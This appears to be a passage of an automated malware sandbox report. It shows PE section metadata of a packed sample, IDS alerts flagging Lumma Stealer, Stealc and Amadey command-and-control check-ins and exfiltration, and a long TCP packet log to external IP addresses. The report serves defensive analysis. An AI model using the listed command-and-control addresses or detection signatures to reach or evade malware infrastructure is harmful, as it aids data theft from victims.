	0x1000	0x52000	0x26400	796e2e2f1325d31ef41959cb45872c68	False	0.9995149101307189	data	7.979713079439202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a0000	0x200	d0f51ecabcc8f162aa9b44cb9f575bb9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
evedjvsb	0x2f5000	0x19a000	0x199c00	4059db663e6e5e65b2d17cabb71bfbca	False	0.9946756787675411	data	7.952846175104087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
abicskov	0x48f000	0x1000	0x400	b6eee8f346e2275ed14dcde4e5fb0cb4	False	0.8076171875	data	6.2692696130401036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x490000	0x3000	0x2200	b4be731869e0fc3408293849b877382b	False	0.09443933823529412	DOS executable (COM)	1.18837951714065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:59:52.423988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T08:59:53.172007+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T08:59:53.172007+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T08:59:54.457476+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T08:59:55.223438+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T08:59:55.223438+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T08:59:56.918045+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T09:00:00.642573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T09:00:02.941723+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T09:00:05.534490+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T09:00:06.331949+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T09:00:08.489343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T09:00:08.493847+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T09:00:13.463166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.165.185	443	TCP
2024-12-27T09:00:14.259339+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.165.185	443	TCP
2024-12-27T09:00:28.245678+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49746	185.215.113.206	80	TCP
2024-12-27T09:01:07.151079+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49773	185.215.113.43	80	TCP
2024-12-27T09:01:11.697018+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49789	185.215.113.16	80	TCP
2024-12-27T09:01:19.187107+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49783	TCP
2024-12-27T09:01:19.751567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	172.67.165.185	443	TCP
2024-12-27T09:01:20.539552+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49808	185.215.113.43	80	TCP
2024-12-27T09:01:20.762370+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49806	172.67.165.185	443	TCP
2024-12-27T09:01:20.762370+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49806	172.67.165.185	443	TCP
2024-12-27T09:01:22.079364+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49813	172.67.165.185	443	TCP
2024-12-27T09:01:22.871530+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49813	172.67.165.185	443	TCP
2024-12-27T09:01:22.871530+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49813	172.67.165.185	443	TCP
2024-12-27T09:01:24.561450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	172.67.165.185	443	TCP
2024-12-27T09:01:27.762872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49831	172.67.165.185	443	TCP
2024-12-27T09:01:30.228770+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49838	172.67.165.185	443	TCP
2024-12-27T09:01:32.997576+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49846	172.67.165.185	443	TCP
2024-12-27T09:01:33.645194+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49846	172.67.165.185	443	TCP
2024-12-27T09:01:35.417012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	172.67.165.185	443	TCP
2024-12-27T09:01:35.421585+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49852	172.67.165.185	443	TCP
2024-12-27T09:01:41.872329+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49870	172.67.165.185	443	TCP
2024-12-27T09:01:42.642735+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49870	172.67.165.185	443	TCP
2024-12-27T09:01:44.136775+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49876	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:59:50.974550009 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:50.974596977 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:50.974816084 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:51.042202950 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:51.042217970 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:52.423899889 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:52.423988104 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:52.426760912 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:52.426772118 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:52.427016973 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:52.470391035 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:52.482469082 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:52.482505083 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:52.482568026 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:53.171968937 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:53.172076941 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:53.172153950 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:53.174979925 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:53.174998045 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:53.200113058 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:53.200161934 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:53.200391054 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:53.200596094 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:53.200612068 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:54.457382917 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:54.457475901 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:54.458708048 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:54.458718061 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:54.458945990 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:54.460043907 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:54.460082054 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:54.460108042 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223437071 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223479033 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223503113 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223531008 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223555088 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223575115 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.223651886 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.223651886 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.223651886 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.223675013 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.231476068 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.231553078 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.231559038 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.239797115 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.239990950 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.239999056 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.282459021 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.342797995 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.391838074 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.424472094 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428366899 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428396940 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428414106 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.428422928 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428466082 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.428472042 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428483009 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428531885 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.428605080 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.428608894 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.428621054 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.428626060 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.705502033 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.705560923 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:55.705646992 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.705964088 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:55.705977917 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:56.917943001 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:56.918045044 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:56.919353962 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:56.919367075 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:56.919601917 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:56.920809984 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:56.920943022 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:56.920980930 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:56.921046972 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:56.921055079 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:59.353765965 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:59.353897095 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:59.353970051 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:59.356231928 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:59.356256962 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:59.431054115 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:59.431111097 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 08:59:59.431195021 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:59.431561947 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 08:59:59.431575060 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:00.642494917 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:00.642573118 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:00.643909931 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:00.643922091 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:00.644161940 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:00.645524979 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:00.645629883 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:00.645658970 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:01.448112965 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:01.448211908 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:01.448291063 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:01.457318068 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:01.457335949 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:01.724481106 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:01.724530935 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:01.724718094 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:01.725034952 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:01.725050926 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:02.941653013 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:02.941723108 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:02.943556070 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:02.943574905 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:02.943831921 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:02.945080042 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:02.945219994 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:02.945257902 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:02.945327044 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:02.945333958 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:03.903042078 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:03.903120995 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:03.903187037 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:03.903409958 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:03.903441906 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:04.269507885 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:04.269555092 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:04.269678116 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:04.269984961 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:04.269994974 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:05.534059048 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:05.534490108 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:05.538289070 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:05.538300037 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:05.538692951 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:05.539952993 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:05.540143967 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:05.540158033 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:06.331931114 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:06.332010031 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:06.332058907 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:06.332278013 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:06.332295895 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:06.873774052 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:06.873820066 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:06.874964952 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:06.875200987 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:06.875221014 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.489259005 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.489342928 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.490550041 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.490559101 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.490765095 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.492000103 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.492753983 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.492784977 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493016958 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493040085 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493072033 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493093967 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493104935 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493145943 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493218899 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493258953 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493396044 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493417978 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493737936 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493772984 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493796110 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493813992 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493931055 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493962049 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.493983984 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.493998051 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.494009018 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.494025946 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.494076014 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.494103909 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.494134903 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.539323092 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:08.539468050 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.539518118 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.539537907 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:08.587327003 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:12.049113035 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:12.049221039 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:12.049313068 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:12.049838066 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:12.049864054 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:12.058821917 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:12.058835030 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:12.058928013 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:12.059241056 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:12.059252024 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:13.463057995 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:13.463165998 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:13.468410015 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:13.468436956 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:13.468852997 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:13.516985893 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:13.528855085 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:13.528855085 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:13.529028893 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:14.259341955 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:14.259447098 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:14.259505033 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:14.259638071 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:14.259638071 CET	49742	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:00:14.259656906 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:14.259660006 CET	443	49742	172.67.165.185	192.168.2.4
Dec 27, 2024 09:00:14.261992931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:14.381473064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:14.381592989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:14.381719112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:14.501163960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766807079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766819954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766830921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766906023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.766953945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766968966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766978979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.766995907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.767008066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.767015934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.767034054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.767064095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.767138958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.767151117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.767251015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.886578083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.886620045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.886677027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.968282938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.968427896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.968491077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.972476959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.972567081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.972660065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.980873108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.980993986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.981061935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.989180088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.989315987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.989379883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:15.997581959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.997754097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:15.997977972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.005934000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.006123066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.006201029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.014329910 CET	80	49743	185.215.113.16	192.168.2.4
